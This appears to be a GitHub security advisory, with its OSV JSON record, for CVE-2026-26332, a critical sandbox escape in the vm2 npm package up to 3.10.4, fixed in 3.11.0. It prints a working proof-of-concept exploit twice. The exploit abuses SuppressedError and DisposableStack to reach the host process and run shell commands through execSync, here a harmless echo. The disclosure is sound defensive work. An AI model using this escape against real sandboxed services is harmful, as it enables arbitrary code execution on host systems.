GHSA-55HX-C926-FR95

Vulnerability from github – Published: 2026-05-05 16:33 – Updated: 2026-05-05 16:33
VLAI?
Summary
VM2 Has a Sandbox Escape Issue via SuppressedError
Details

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC

const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);
Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T16:33:45Z",
    "nvd_published_at": "2026-05-04T17:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.\n\n### PoC\n```js\nconst { VM } = require(\"vm2\");\n\nconst vm = new VM();\n\nvm.run(`\nconst ds = new DisposableStack();\nds.defer(() =\u003e { throw null; });\nds.defer(() =\u003e {\n  const e = Error();\n  e.name = Symbol();\n  e.stack;\n});\ntry {\n  ds.dispose();\n} catch(e) {\n  const Function = e.suppressed.constructor.constructor;\n  const process = new Function(\"return process;\")();\n  const { execSync } = process.mainModule.require(\"node:child_process\");\n  execSync(\"echo pwned\", { stdio: \"inherit\" });\n}\n`);\n```",
  "id": "GHSA-55hx-c926-fr95",
  "modified": "2026-05-05T16:33:45Z",
  "published": "2026-05-05T16:33:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26332"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "VM2 Has a Sandbox Escape Issue via SuppressedError"
}


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